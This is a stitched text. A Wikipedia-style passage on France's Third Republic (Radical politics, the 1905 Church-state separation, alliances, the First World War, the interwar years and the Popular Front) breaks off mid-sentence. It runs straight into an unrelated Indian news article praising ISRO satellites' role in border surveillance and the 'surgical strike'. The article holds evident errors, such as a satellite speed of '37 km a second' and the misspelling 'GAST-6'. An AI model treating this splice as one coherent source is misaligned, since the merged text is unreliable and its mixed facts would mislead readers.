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central city. Like the bourgeois stores, it helped transform consumption from a business transaction into a direct relationship between consumer and sought-after goods. Its advertisements promised the opportunity to participate in the newest, most fashionable consumerism at reasonable cost. The latest technology was featured, such as cinemas and exhibits of inventions like X-ray machines (that could be used to fit shoes) and the gramophone.[29]
Increasingly after 1870, the stores' work force became feminized, opening up prestigious job opportunities for young women. Despite the low pay and long hours, they enjoyed the exciting complex interactions with the newest and most fashionable merchandise and upscale customers.[30]
Radicals' republic [ edit ]
The most important party of the early 20th century in France was the Radical Party, founded in 1901 as the "Republican, Radical and Radical-Socialist Party" ("Parti républicain, radical et radical-socialiste"). It was classically liberal in political orientation and opposed the monarchists and clerical elements on the one hand, and the Socialists on the other. Many members had been recruited by the Freemasons.[31] The Radicals were split between activists who called for state intervention to achieve economic and social equality and conservatives whose first priority was stability. The workers' demands for strikes threatened such stability and pushed many Radicals toward conservatism. It opposed women's suffrage for fear that women would vote for its opponents or for candidates endorsed by the Catholic Church.[32] It favored a progressive income tax, economic equality, expanded educational opportunities and cooperatives in domestic policy. In foreign policy, it favored a strong League of Nations after the war, and the maintenance of peace through compulsory arbitration, controlled disarmament, economic sanctions, and perhaps an international military force.[33]
Followers of Léon Gambetta, such as Raymond Poincaré, who would become President of the Council in the 1920s, created the Democratic Republican Alliance (ARD), which became the main center-right party after World War I.[34]
Governing coalitions collapsed with regularity, rarely lasting more than a few months, as radicals, socialists, liberals, conservatives, republicans and monarchists all fought for control. Some historians argue that the collapses were not important because they reflected minor changes in coalitions of many parties that routinely lost and gained a few allies. Consequently, the change of governments could be seen as little more than a series of ministerial reshuffles, with many individuals carrying forward from one government to the next, often in the same posts.
Church and state [ edit ]
Separation of the Church and the State in 1905
Throughout the lifetime of the Third Republic (1870–1940), there were battles over the status of the Catholic Church in France among the republicans, monarchists and the authoritarians (such as the Napoleonists). The French clergy and bishops were closely associated with the monarchists and many of its hierarchy were from noble families. Republicans were based in the anti-clerical middle class, who saw the Church's alliance with the monarchists as a political threat to republicanism, and a threat to the modern spirit of progress. The republicans detested the Church for its political and class affiliations; for them, the Church represented the Ancien Régime, a time in French history most republicans hoped was long behind them. The republicans were strengthened by Protestant and Jewish support. Numerous laws were passed to weaken the Catholic Church. In 1879, priests were excluded from the administrative committees of hospitals and boards of charity; in 1880, new measures were directed against the religious congregations; from 1880 to 1890 came the substitution of lay women for nuns in many hospitals; in 1882, the Ferry school laws were passed. Napoleon's Concordat of 1801 continued in operation, but in 1881, the government cut off salaries to priests it disliked.[35]
The first page of the bill, as brought before the Chambre des Députés in 1905
Republicans feared that religious orders in control of schools—especially the Jesuits and Assumptionists—indoctrinated anti-republicanism into children. Determined to root this out, republicans insisted they needed control of the schools for France to achieve economic and militaristic progress. (Republicans felt one of the primary reasons for the German victory in 1870 was their superior education system.)
The early anti-Catholic laws were largely the work of republican Jules Ferry in 1882. Religious instruction in all schools was forbidden, and religious orders were forbidden to teach in them. Funds were appropriated from religious schools to build more state schools. Later in the century, other laws passed by Ferry's successors further weakened the Church's position in French society. Civil marriage became compulsory, divorce was introduced, and chaplains were removed from the army.[36]
When Leo XIII became pope in 1878, he tried to calm Church-State relations. In 1884, he told French bishops not to act in a hostile manner toward the State ('Nobilissima Gallorum Gens'[37]). In 1892, he issued an encyclical advising French Catholics to rally to the Republic and defend the Church by participating in republican politics ('Au milieu des sollicitudes'[38]). The Liberal Action was founded in 1901 by Jacques Piou and Albert de Mun, former monarchists who switched to republicanism at the request of Pope Leo XIII. From the Churches perspective, its mission was to express the political ideals and new social doctrines embodied in Leo's 1891 encyclical "Rerum Novarum".
Action libérale was the parliamentary group from which the ALP political party emerged, adding the word populaire ("popular") to signify this expansion. Membership was open to everyone, not just Catholics. It sought to gather all the "honest people" and to be the melting pot sought by Leo XIII where Catholics and moderate Republicans would unite to support a policy of tolerance and social progress. Its motto summarized its program: "Liberty for all; equality before the law; better conditions for the workers." However, the "old republicans" were few, and it did not manage to regroup all Catholics, as it was shunned by monarchists, Christian democrats, and Integrists. In the end, it recruited mostly among the liberal-Catholics (Jacques Piou) and the Social Catholics (Albert de Mun). The ALP was drawn into battle from its very beginnings (its first steps coincided with the beginning of the Combes ministry and its anticlerical combat policy), as religious matters were at the heart of its preoccupations. It defended the Church in the name of liberty and common law. Fiercely fought by the Action française, the movement declined from 1908, when it lost the support of Rome. Nevertheless, the ALP remained until 1914 the most important party on the right.[39]
The attempt at improving the relationship with republicans failed. Deep-rooted suspicions remained on both sides and were inflamed by the Dreyfus Affair (1894–1906). Catholics were for the most part anti-Dreyfusard. The Assumptionists published anti-Semitic and anti-republican articles in their journal La Croix. This infuriated republican politicians, who were eager to take revenge. Often they worked in alliance with Masonic lodges. The Waldeck-Rousseau Ministry (1899–1902) and the Combes Ministry (1902–05) fought with the Vatican over the appointment of bishops. Chaplains were removed from naval and military hospitals in the years 1903 and 1904, and soldiers were ordered not to frequent Catholic clubs in 1904.
Emile Combes, when elected Prime Minister in 1902, was determined to defeat Catholicism thoroughly. After only a short while in office, he closed down all parochial schools in France. Then he had parliament reject authorisation of all religious orders. This meant that all fifty-four orders in France were dissolved and about 20,000 members immediately left France, many for Spain.[40] In 1904, Émile Loubet, the president of France from 1899 to 1906, visited King Victor Emmanuel III of Italy in Rome, and Pope Pius X protested at this recognition of the Italian State. Combes reacted strongly and recalled his ambassador to the Holy See. Then, in 1905, a law was introduced that abrogated Napoleon's 1801 Concordat. Church and State were finally separated. All Church property was confiscated. Religious personnel were no longer paid by the State. Public worship was given over to associations of Catholic laymen who controlled access to churches. However, in practice, masses and rituals continued to be performed.
Combes was vigorously opposed by all the Conservative parties, who saw the mass closure of church schools as a persecution of religion. Combs led the anti-clerical coalition on the left, facing opposition primarily organized by the pro-Catholic ALP. The ALP had a stronger popular base, with better financing and a stronger network of newspapers, but had far fewer seats in parliament.[41]
The Combes government worked with Masonic lodges to create a secret surveillance of all army officers to make sure that devout Catholics would not be promoted. Exposed as the Affaire Des Fiches, the scandal undermined support for the Combes government, and he resigned. It also undermined morale in the army, as officers realized that hostile spies examining their private lives were more important to their careers than their own professional accomplishments.[42]
In December 1905, the government of Maurice Rouvier introduced the French law on the separation of Church and State. This law was heavily supported by Combes, who had been strictly enforcing the 1901 voluntary association law and the 1904 law on religious congregations' freedom of teaching. On 10 February 1905, the Chamber declared that "the attitude of the Vatican" had rendered the separation of Church and State inevitable and the law of the separation of church and state was passed in December 1905. The Church was badly hurt and lost half its priests. In the long run, however, it gained autonomy; ever after, the State no longer had a voice in choosing bishops, thus Gallicanism was dead.[43]
Foreign policy [ edit ]
Foreign-policy 1871-1914 was based on a slow rebuilding of alliances With Russia and Britain in order to counteract the threat from Germany.[44] Bismarck had made a mistake in taking Alsace and Lorraine in 1871, setting off decades of popular hatred of Germany and demand for revenge. Bismarck's decision came in response to popular demand, and the Army's demand for a strong frontier. It was not necessary since France was much weaker militarily than Germany, but it forced Bismarck to orient German foreign policy to block France from having any major allies. Alsace and Lorraine were a grievance for some years, but by 1890 had largely faded away with the French realization that nostalgia was not as useful as modernization. France rebuilt its Army, emphasizing modernization in such features as new artillery, and after 1905 invested heavily in military aircraft. Most important in restoring prestige was a strong emphasis on the growing French Empire, which brought prestige, despite large financial costs. Very few French families settled in the colonies,, and they were too poor in natural resources and trade to significantly benefit the overall economy. Nevertheless, they were second in size only to the British Empire, provided prestige in world affairs, and gave an opportunity for Catholics (under heavy attack by the Republicans in Parliament) to devote their energies to spread French culture and civilization worldwide. An extremely expensive investment in building the Panama Canal was a total failure, in terms of money, many deaths by disease, and political scandal.[45] Bismarck was fired in 1890, and after that German foreign policy was confused and misdirected. For example, Berlin broke its close ties with Moscow, allowing the French to enter through heavy financial investment, and a Paris-St Petersburg military alliance that proved essential and durable. Germany feuded with Britain, which encouraged London and Paris to drop of their grievances over Egypt and Africa, reaching a compromise whereby the French recognized British primacy in Egypt, while Britain recognized French primacy in Morocco. This enabled Britain and France to move closer together, finally achieving a informal military relationship after 1904.[46][47]
Diplomats [ edit ]
French diplomacy was largely independent of domestic affairs; economic, cultural and religious interest groups paid little attention to foreign affairs. Permanent professional diplomats and bureaucrats had developed their own traditions of how to operate at the Quai d'Orsay (where the Foreign Ministry was located), and their style changed little from generation to generation.[48] Most of the diplomats came from high status aristocratic families. Although France was one of the few republics in Europe, its diplomats mingled smoothly with the aristocratic representatives at the royal courts. Prime ministers and leading politicians generally paid little attention to foreign affairs, allowing a handful of senior men to control policy. In the decades before the First World War they dominated the embassies in the 10 major countries where France had an ambassador (elsewhere, they set lower-ranking ministers). They included Théophile Delcassé, the foreign minister from 1898 to 1905; Paul Cambon, in London, 1890-1920; Jules Jusserand, in Washington from 1902 to 1924; and Camille Barrère, in Rome from 1897 to 1924. In terms of foreign policy, there was general agreement about the need for high protective tariffs, which kept agricultural prices high. After the defeat by the Germans, there was a strong widespread anti-German sentiment focused on revanchism and regaining Alsace and Lorraine. The Empire was a matter of great pride, and service as administrators, soldiers and missionaries was a high status, occupation.[49] French foreign policy from 1871 to 1914 showed a dramatic transformation from a humiliated power with no friends and not much of an empire in 1871, to the centerpiece of the European alliance system in 1914, with a flourishing colonial empire that was second in size only to Great Britain. Although religion was a hotly contested matter and domestic politics, the Catholic Church made missionary work and church building a specialty in the colonies. Most Frenchman ignored foreign policy; its issues were a low priority in politics.[50][51]
French foreign policy was based on a fear of Germany—whose larger size and fast-growing economy could not be matched—combined with a revanchism that demanded the return of Alsace and Lorraine.[52] At the same time, imperialism was a factor.[53] In the midst of the Scramble for Africa, French and British interest in Africa came into conflict. The most dangerous episode was the Fashoda Incident of 1898 when French troops tried to claim an area in the Southern Sudan, and a British force purporting to be acting in the interests of the Khedive of Egypt arrived. Under heavy pressure the French withdrew, securing Anglo-Egyptian control over the area. The status quo was recognised by an agreement between the two states acknowledging British control over Egypt, while France became the dominant power in Morocco, but France suffered a humiliating defeat overall.[54]
The Suez Canal, initially built by the French, became a joint British-French project in 1875, as both saw it as vital to maintaining their influence and empires in Asia. In 1882, ongoing civil disturbances in Egypt prompted Britain to intervene, extending a hand to France. The government allowed Britain to take effective control of Egypt.[55]
France had colonies in Asia and looked for alliances and found in Japan a possible ally. At Japan's request Paris sent military missions in 1872–1880, in 1884–1889 and in 1918–1919 to help modernize the Japanese army. Conflicts with China over Indochina climaxed during the Sino-French War (1884–1885). Admiral Courbet destroyed the Chinese fleet anchored at Foochow. The treaty ending the war put France in a protectorate over northern and central Vietnam, which it divided into Tonkin and Annam.[56]
Under the leadership of expansionist Jules Ferry, the Third Republic greatly expanded the French colonial empire. France acquired Indochina, Madagascar, vast territories in West Africa and Central Africa, and much of Polynesia.[57]
In an effort to isolate Germany, France went to great pains to woo Russia and Great Britain, first by means of the Franco-Russian Alliance of 1894, then the 1904 Entente Cordiale with Great Britain, and finally the Anglo-Russian Entente in 1907 which became the Triple Entente. This alliance with Britain and Russia against Germany and Austria eventually led Russia and Britain to enter World War I as France's Allies.[58]
French foreign policy in the years leading up to the First World War was based largely on hostility to and fear of German power. France secured an alliance with the Russian Empire in 1894 after diplomatic talks between Germany and Russia had failed to produce any working agreement. The Franco-Russian Alliance served as the cornerstone of French foreign policy until 1917. A further link with Russia was provided by vast French investments and loans before 1914. In 1904, French foreign minister Théophile Delcassé negotiated the Entente Cordiale with Lord Lansdowne, the British Foreign Secretary, an agreement that ended a long period of Anglo-French tensions and hostility. The Entente Cordiale, which functioned as an informal Anglo-French alliance, was further strengthened by the First and Second Moroccan crises of 1905 and 1911, and by secret military and naval staff talks. Delcassé's rapprochement with Britain was controversial in France as Anglophobia was prominent around the start of the 20th century, sentiments that had been much reinforced by the Fashoda Incident of 1898, in which Britain and France had almost gone to war, and by the Boer War, in which French public opinion was very much on the side of Britain’s enemies.[59] Ultimately, the fear of German power was the link that bound Britain and France together.[60]
Preoccupied with internal problems, France paid little attention to foreign policy in the period between late 1912 and mid-1914, although it did extend military service to three years from two over strong Socialist objections in 1913.[61] The rapidly escalating Balkan crisis of July 1914 surprised France, and not much attention was given to conditions that led to the outbreak of World War I.[62]
Overseas colonies [ edit ]
The Third Republic, in line with the imperialistic ethos of the day sweeping Europe, developed a French colonial empire. The largest and most important were in French North Africa and French Indochina. French administrators, soldiers, and missionaries were dedicated to bringing French civilization to the local populations of these colonies (the mission civilisatrice). Some French businessmen went overseas, but there were few permanent settlements. The Catholic Church became deeply involved. Its missionaries were unattached men committed to staying permanently, learning local languages and customs, and converting the natives to Christianity.[63]
France successfully integrated the colonies into its economic system. By 1939, one third of its exports went to its colonies; Paris businessmen invested heavily in agriculture, mining, and shipping. In Indochina, new plantations were opened for rubber and rice. In Algeria, land held by rich settlers rose from 1,600,000 hectares in 1890 to 2,700,000 hectares in 1940; combined with similar operations in Morocco and Tunisia, the result was that North African agriculture became one of the most efficient in the world. Metropolitan France was a captive market, so large landowners could borrow large sums in Paris to modernize agricultural techniques with tractors and mechanized equipment. The result was a dramatic increase in the export of wheat, corn, peaches, and olive oil. French Algeria became the fourth most important wine producer in the world.[64][65]
Opposition to colonial rule led to rebellions in Morocco in 1925, Syria in 1926, and Indochina in 1930, all of which the colonial army quickly suppressed.
First World War [ edit ]
Entry [ edit ]
France entered World War I because Russia and Germany were going to war, and France honored its treaty obligations to Russia.[66] Decisions were all made by senior officials, especially president Raymond Poincaré, Premier and Foreign Minister René Viviani, and the ambassador to Russia Maurice Paléologue. Not involved in the decision-making were military leaders, arms manufacturers, the newspapers, pressure groups, party leaders, or spokesmen for French nationalism.[67]
Britain wanted to remain neutral but entered the war when the German army invaded Belgium on its way to Paris. The French victory at the Battle of the Marne in September 1914 ensured the failure of Germany's strategy to win quickly. It became a long and very bloody war of attrition, but France emerged on the winning side.
French intellectuals welcomed the war to avenge the humiliation of defeat and loss of territory in 1871. At the grass roots, Paul Déroulède's League of Patriots, a proto-fascist movement based in the lower middle class, had advocated a war of revenge since the 1880s.[68] The strong socialist movement had long opposed war and preparation for war. However, when its leader Jean Jaurès, a pacifist, was assassinated at the start of the war, the French socialist movement abandoned its anti-militarist positions and joined the national war effort. Prime Minister René Viviani called for unity in the form of a "Union sacrée" ("Sacred Union"), and in France there were few dissenters.[69]
Fighting [ edit ]
After the French army successfully defended Paris in 1914, the conflict became one of trench warfare along the Western Front, with very high casualty rates. It became a war of attrition. Until spring of 1918, amazing as it seems, there were almost no territorial gains or losses for either side. Georges Clemenceau, whose ferocious energy and determination earned him the nickname le Tigre ("the Tiger"), led a coalition government after 1917 that was determined to defeat Germany. Meanwhile, large swaths of northeastern France fell under the brutal control of German occupiers.[70] The bloodbath of the war of attrition reached its apogee in the Battles of Verdun and the Somme. By 1917 mutiny was in the air. A consensus among soldiers agreed to resist any German attacks, but to postpone French attacks until the Americans arrived.[71]
A state of emergency was proclaimed and censorship imposed, leading to the creation in 1915 of the satirical newspaper Le Canard enchaîné to bypass the censorship. The economy was hurt by the German invasion of major industrial areas in the northeast. Although the occupied area in 1914 contained only 14% of France's industrial workers, it produced 58% of the steel and 40% of the coal.[72]
War economy [ edit ]
In 1914, the government implemented a war economy with controls and rationing. By 1915, the war economy went into high gear, as millions of French women and colonial men replaced the civilian roles of many of the 3 million soldiers. Considerable assistance came with the influx of American food, money and raw materials in 1917. This war economy would have important reverberations after the war, as it would be a first breach of liberal theories of non-interventionism.[73]
The production of munitions proved a striking success, well ahead of Britain or the United States or even Germany. The challenges were monumental: the German seizure of the industrial heartland in the northeast, a shortage of manpower, and a mobilization plan that left France on the brink of defeat. Nevertheless, by 1918 France was producing more munitions and artillery than its allies, while supplying virtually all of the heavy equipment needed by the arriving American army. (The Americans left their heavy weapons at home in order to use the available transports to send as many soldiers as possible.) Building on foundations laid in the early months of the war, the Ministry of War matched production to the operational and tactical needs of the army, with an emphasis on meeting the insatiable demands for artillery. The elaborately designed link between industry and the army, and the compromises made to ensure that artillery and shells of the required quantity and quality were supplied, proved crucial to French success on the battlefield.[74]
In the end the damages caused by the war amounted to about 113% of the Gross Domestic Product (GDP) of 1913, chiefly the destruction of productive capital and housing. The national debt rose from 66% of GDP in 1913 to 170% in 1919, reflecting the heavy use of bond issues to pay for the war. Inflation was severe, with the franc losing over half its value against the British pound.[75]
Morale [ edit ]
To uplift the French national spirit, many intellectuals began to fashion patriotic propaganda. The Union sacrée sought to draw the French people closer to the actual front and thus garner social, political, and economic support for the soldiers.[76] Antiwar sentiment was very weak among the general population. However among intellectuals there was a pacifistic "Ligue des Droits de l'Homme" (League for the Rights of Mankind) (LDH). It kept a low profile in the first two years of war, holding its first congress in November 1916 against the background slaughters French soldiers on the Western Front. The theme was the "conditions for a lasting peace." Discussions focused on France's relationship with its autocratic, undemocratic ally, Russia, and in particular how to square support for all that the LDH stood for with Russia's bad treatment of its oppressed minorities, especially the Poles. Secondly, many delegates wanted to issue a demand for a negotiated peace. This was rejected only after a lengthy debate showed how the LDH was divided between a majority that believed that arbitration could be applied only in times of peace, and a minority that demanded an immediate end to the carnage.[77] In spring 1918 the desperate German offensive failed, and the Allies successfully pushed back. The French people of all classes rallied to Prime Minister George Clemenceau's demand for total victory and harsh peace terms.[78]
Peace and revenge [ edit ]
A change of fortunes in the late summer and autumn of 1918 led to the defeat of Germany in World War I. The most important factors that led to the surrender of Germany were its exhaustion after four years of fighting and the arrival of large numbers of troops from the United States beginning in the summer of 1918. Peace terms were imposed on Germany by the Big Four: Great Britain, France, the United States, and Italy. Clemenceau demanded the harshest terms and won most of them in the Treaty of Versailles in 1919. Germany was largely disarmed and forced to take full responsibility for the war, meaning that it was expected to pay huge war reparations. France regained Alsace-Lorraine, and the German industrial Saar Basin, a coal and steel region, was occupied by France. The German African colonies, such as Kamerun, were partitioned between France and Britain. From the remains of the Ottoman Empire, Germany's ally during World War I that also collapsed at the end of the conflict, France acquired the Mandate of Syria and the Mandate of Lebanon.[79]
Interwar period [ edit ]
From 1919 to 1940, France was governed by two main groupings of political alliances. On the one hand, there was the right-center Bloc national led by Georges Clemenceau, Raymond Poincaré and Aristide Briand. The Bloc was supported by business and finance and was friendly toward the army and the Church. Its main goals were revenge against Germany, economic prosperity for French business and stability in domestic affairs. On the other hand, there was the left-center Cartel des gauches dominated by Édouard Herriot of the Radical Socialist party. Herriot's party was in fact neither radical nor socialist, rather it represented the interests of small business and the lower middle class. It was intensely anti-clerical and resisted the Catholic Church. The Cartel was occasionally willing to form a coalition with the Socialist Party. Anti-democratic groups, such as the Communists on the left and royalists on the right, played relatively minor roles.
The flow of reparations from Germany played a central role in strengthening French finances. The government began a large-scale reconstruction program to repair wartime damages, and was burdened with a very large public debt. Taxation policies were inefficient, with widespread evasion, and when the financial crisis grew worse in 1926, Poincaré levied new taxes, reformed the system of tax collection, and drastically reduced government spending to balance the budget and stabilize the franc. Holders of the national debt lost 80% of the face value of their bonds, but runaway inflation did not occur. From 1926 to 1929, the French economy prospered and manufacturing flourished.
Foreign observers in the 1920s noted the excesses of the French upper classes, but emphasized the rapid re-building of the regions of northeastern France that had seen warfare and occupation. They reported the improvement of financial markets, the brilliance of the post-war literature and the revival of public morale.[80]
Great Depression [ edit ]
The world economic crisis known as the Great Depression affected France a bit later than other countries, hitting around 1931.[81] While the GDP in the 1920s grew at the very strong rate of 4.43% per year, the 1930s rate fell to only 0.63%.[82] In comparison to countries such as the United States, Great Britain, and Germany, the depression was relatively mild: unemployment peaked under 5%, and the fall in production was at most 20% below the 1929 output. In addition, there was no banking crisis.[75][83]
In 1931 the well-organized veterans movement demanded and received pensions for their wartime service. This was funded by a lottery—the first one allowed in France since 1836. The lottery immediately became popular, and became a major foundation of the annual budget. Although the Great Depression was not yet severe, the lottery appealed to charitable impulses, greed, and respect for veterans. These contradictory impulses produced cash that make possible the French welfare state, at the crossroads of philanthropy, market and public sphere.[84]
Foreign policy [ edit ]
Foreign policy was of growing concern interest to France during the inter-war period, with fears of German militarism in the forefront. The horrible devastation of the war, including the death of 1.5 million French soldiers, the devastation of much of the steel and coal regions, and the long-term costs for veterans, were always remembered. France demanded that Germany assume many of the costs incurred from the war through annual reparation payments. French foreign and security policy used the balance of power and alliance politics to compel Germany to comply with its obligations under the Treaty of Versailles. the problem was that the United States and Britain rejected a defensive alliance. Potential allies in Eastern Europe, such as Poland, Czechoslovakia and Yugoslavia were too weak to confront Germany. Russia have been the long term French ally in the East, but now it was controlled by deeply distrusted in Paris. Francis transition to a more conciliatory policy in 1924 was a response to pressure from Britain and the United States, as well as to French weakness.[85]
France enthusiastically joined the League of Nations in 1919, but felt betrayed by President Woodrow Wilson, when his promises that the United States would sign a defence treaty with France and join the League were rejected by the United States Congress. The main goal of French foreign policy was to preserve French power and neutralize the threat posed by Germany. When Germany fell behind in reparations payments in 1923, France seized the industrialized Ruhr region. The British Labour Prime Minister Ramsay MacDonald, who viewed reparations as impossible to pay successfully, pressured French Premier Édouard Herriot into a series of concessions to Germany. In total, France received ₤1600 million from Germany before reparations ended in 1932, but France had to pay war debts to the United States, and thus the net gain was only about ₤600 million.[86]
France tried to create a web of defensive treaties against Germany with Poland, Czechoslovakia, Romania, Yugoslavia and the Soviet Union. There was little effort to build up the military strength or technological capabilities of these small allies, and they remained weak and divided among themselves. In the end, the alliances proved worthless. France also constructed a powerful defensive wall in the form of a network of fortresses along its German border. It was called the Maginot Line and was trusted to compensate for the heavy manpower losses of the First World War.[87]
The main goal of foreign policy was the diplomatic response to the demands of the French army in the 1920s and 1930s to form alliances against the German threat, especially with Britain and with smaller countries in central Europe.[88][89]
Appeasement was increasingly adopted as Germany grew stronger after 1933, for France suffered a stagnant economy, unrest in its colonies, and bitter internal political fighting. Appeasement, says historian Martin Thomas was not a coherent diplomatic strategy or a copying of the British.[90] France appeased Italy on the Ethiopia question because it could not afford to risk an alliance between Italy and Germany.[91] When Hitler sent troops into the Rhineland—the part of Germany where no troops were allowed—neither Paris nor London would risk war, and nothing was done.[92] The military alliance with Czechoslovakia was sacrificed at Hitler's demand when France and Britain agreed to his terms at Munich in 1938.[93][94]
Popular Front [ edit ]
In 1920, the socialist movement split, with the majority forming the French Communist Party. The minority, led by Léon Blum, kept the name Socialist, and by 1932 greatly outnumbered the disorganized Communists. When Stalin told French Communists to collaborate with others on the left in 1934, a popular front was made possible with an emphasis on unity against fascism. In 1936, the Socialists and the Radicals formed a coalition, with Communist support, to complete it.[95]
The Popular Front's narrow victory in the elections of the spring of 1936 brought to power a government headed by the Socialists in alliance with the Radicals. The Communists supported its domestic policies, but did not take any seats in the cabinet. The prime minister was Léon Blum, a technocratic socialist who avoided making decisions. In two years in office, it focused on labor law changes sought by the trade unions, especially the mandatory 40-hour work week, down from 48 hours. All workers were given a two-week paid vacation. A collective bargaining law facilitated union growth; membership soared from 1,000,000 to 5,000,000 in one year, and workers' political strength was enhanced when the Communist and non-Communist unions joined together. The government nationalized the armaments industry and tried to seize control of the Bank of France in an effort to break the power of the richest 200 families in the country. Farmers received higher prices, and the government purchased surplus wheat, but farmers had to pay higher taxes. Wave after wave of strikes hit French industry in 1936. Wage rates went up 48%, but the work week was cut back by 17%, and the cost of living rose 46%, so there was little real gain to the average worker. The higher prices for French products resulted in a decline in overseas sales, which the government tried to neutralize by devaluing the franc, a measure that led to a reduction in the value of bonds and savings accounts. The overall result was significant damage to the French economy, and a lower rate of growth.[96]
Most historians judge the Popular Front a failure, although some call it a partial success. There is general agreement that it failed to live up to the expectations of the left.[97][98]
Politically, the Popular Front fell apart over Blum's refusal to intervene vigorously in the Spanish Civil War, as demanded by the Communists.[99] Culturally, the Popular Front forced the Communists to come to terms with elements of French society they had long ridiculed, such as patriotism, the veterans' sacrifice, the honor of being an army officer, the prestige of the bourgeois, and the leadership of the Socialist Party and the parliamentary Republic. Above all, the Communists portrayed themselves as French nationalists. Young Communists dressed in costumes from the revolutionary period and the scholars glorified the Jacobins as heroic predecessors.[100]
Conservatism [ edit ]
Historians have turned their attention to the right in the interwar period, looking at various categories of conservatives and Catholic groups as well as the far right fascist movement.[101] Conservative supporters of the old order were linked with the "haute bourgeoisie" (upper middle class), as well as nationalism, military power, the maintenance of the empire, and national security. The favorite enemy was the left, especially as represented by socialists. The conservatives were divided on foreign affairs. Several important conservative politicians sustained the journal Gringoire, foremost among them André Tardieu. The Revue des deux Mondes, with its prestigious past and sharp articles, was a major conservative organ.
Summer camps and youth groups were organized to promote conservative values in working-class families, and help them design a career path. The Croix de feu/Parti social français (CF/PSF) was especially active.[102]
Relations with Catholicism [ edit ]
France's republican government had long been strongly anti-clerical. The Law of Separation of Church and State in 1905 had expelled many religious orders, declared all Church buildings government property, and led to the closing of most Church schools. Since that time, Pope Benedict XV had sought a rapprochement, but it was not achieved until the reign of Pope Pius XI (1922–39). In the papal encyclical Maximam Gravissimamque (1924), many areas of dispute were tacitly settled and a bearable coexistence made possible.[103]
The Catholic Church expanded its social activities after 1920, especially by forming youth movements. For example, the largest organization of young working women was the Jeunesse Ouvrière Chrétienne/Féminine (JOC/F), founded in 1928 by the progressive social activist priest Joseph Cardijn. It encouraged young working women to adopt Catholic approaches to morality and to prepare for future roles as mothers at the same time as it promoted notions of spiritual equality and encouraged young women to take active, independent, and public roles in the present. The model of youth groups was expanded to reach adults in the Ligue ouvrière chrétienne féminine ("League of Working Christian Women") and the Mouvement populaire des familles.[104][105]
Catholics on the far right supported several shrill, but small, groupings that preached doctrines similar to fascism. The most influential was Action Française, founded in 1905 by the vitriolic author Charles Maurras. It was intensely nationalistic, |
to the nation are among the very best in world. From watching over with an eagle eye the terrorist and militant infra-structure in Pakistan to providing two way communication in desolate places to giving out accurate navigation signals, ISRO has built a formidable infrastructure that helps India protect its borders in day or night.Not many Indians know of these deep capabilities that lie hidden within the portals of the space agency as ISRO's missions to Mars and Moon hog the lime light, but silently and steadily the 17,000 strong work force of ISRO contributes to keeping the lives of 1.2 billion Indians secure.ISRO provides the necessary platforms, and then it is the user agencies that utilise its downstream products which means ISRO does not directly participate in the conflict.K Kasturirangan, former chairman of ISRO, says "The space agency has a formidable suit of technologies and all are suitably deployed with each user agency utilising the assets to their best advantage."So a high resolution imaging satellite can help in urban planning while it can also monitor terrorist camps across the border. Kasturirangan says a satellite image does not distinguish between friend and foe that interpretation rests with the users.Nobody doubts that ISRO's eyes and ears facilitated'surgical strike' in Pakistan Occupied Kashmir (PoK) at the staging points for terrorists. In years to come the role of India's space assets will play a much bigger role if and when hostilities break out on our borders. Kiran Kumar, chairman of ISRO, says, "The Indian space agency will not be found lacking in helping secure India's national interests now and in future."Today, India has 33 satellites in orbit around the earth and one in the Martian orbit. These include 12 communications satellites; 7 navigation satellites; 10 earth observation satellites and 4 weather monitoring satellites. This is one of the largest constellation of satellites in the Asia-Pacific region. Each bird is tailor-made for a specific purpose and each when needed helps protects India's supreme national interests.India has some of the sharpest eyes in the sky and to prepare for the'surgical strikes' India's best bird in the sky, the Cartosat 2-series satellite launched as recently as June 22 played a key role.From its 526-km perch, this bird can peer at every object in Pakistan and can easily count the number of cars parked in the grand mansion of Pakistani Prime Minister Nawaz Sharif. With its almost 0.65-m resolution as it rotates the earth every 90 minutes this formidable spy in the sky can count each and every tank, truck and fighter aircraft parked anywhere in Pakistan or for that matter anywhere India desires.Speaking about the capabilities of this ultra-sharp satellite, Kumar said "The Cartosat 2 series has a unique capability of capturing a 1-minute video, which despite its enormous speed of 37 km a second, is able to focus at a single point for a minute."In addition, there were three other earth imaging satellites Cartosat-1, Cartosat-2 and Resourcesat-2 that provide top class imagery during day time. Going further, ISRO seeks to develop satellites that have a resolution of 25 cm in the very near future.In contrast, Pakistan has no such capability as its space program has hardly lifted off. Former ISRO chairman G Madhavan Nair says even China does not have such high resolution satellites, the best China has is about 5-m resolution.Nair says "India invested heavily in space imaging technology and is now reaping the benefits."India also flies some satellites that have day and night viewing capabilities called'synthetic aperture radar satellites'. There are two in orbit, the RISAT-1 and RISAT-2. Nothing can hide from these mean birds as they can see through cloud cover and are not blinded at night. Especially RISAT-2 is among the best in its class and its revisit time is relatively short.Assessing damage on the camps that harboured the terrorists would be relatively easy using the radar satellites. It is not that these satellites do not help civilian activities, radar satellites help monitor floods and have even been deployed to search for crashed planes and helicopters.India has put in place a regional satellite navigation system called NAVIC as recently as April 28 -- the last of the seven satellites was launched -- and Prime Minister Narendra Modi spoke on its huge benefits.This system gives better than 20-m accuracy for navigation signals akin to the American Global Positioning System (GPS) in an envelope which extends about 1,500 km from the border on all sides.The signals are being beamed down 24x7 all the year around. Only America and Russia have similar capability over the South Asian region, China is still putting in place its satellite navigation system.The restricted signal which is available to the Indian armed forces is supposed to be even more accurate than the American GPS in the Indian region. Experts say it is unlikely that the Indian special forces used the hand-held devices from NAVIC to guide them to the terrorist camps as the devices are still being fine-tuned.India's enemies should have no doubts that very soon these swadeshi GPS signals will be leading its commandos into the very den of masterminds who control the terrorists. In the event of an all-out war, signals from NAVIC will undoubtedly help India target its whole suite of missiles to unleash unprecedented punishment on the enemy. Since the satellite navigation system is in India's control there can never be any fear of someone switching the constellation off.There is another over 2,000 kg bird that points towards the Indian region all day and all night and provides unprecedented capability to India's armed forces. This is a satellite called GSAT-6 and this unique satellite has multi-media capability as it can stream video in both directions. It has the largest antennae which is 6 m in diameter. This is one unique satellite which will play a crucial role in the network centric warfare of the 21st century.Using a hand-held device, individual soldiers can connect and will be able to transmit live pictures of what they can see from their helmet mounted cameras even as they engage in combat. Launched last year the users are still developing the handheld devices that can be made portable and compatible with this capability. Very soon this satellites twin GSAT-6 A may be flown which will have even more powerful capabilities.Nair says, "The government and ISRO should expedite development of GSAT-6 A to have special capabilities that the special forces need."If one recalls in 2011, it was shown that President Barrack Obama monitored live feeds of the surgical strike the US carried out as part of Operation Geronimo to eliminate Osama bin Laden in Pakistan. India's GAST-6 and GSAT 6 A both will in principle be able to help providing live signals from the remotest of remote places in India's 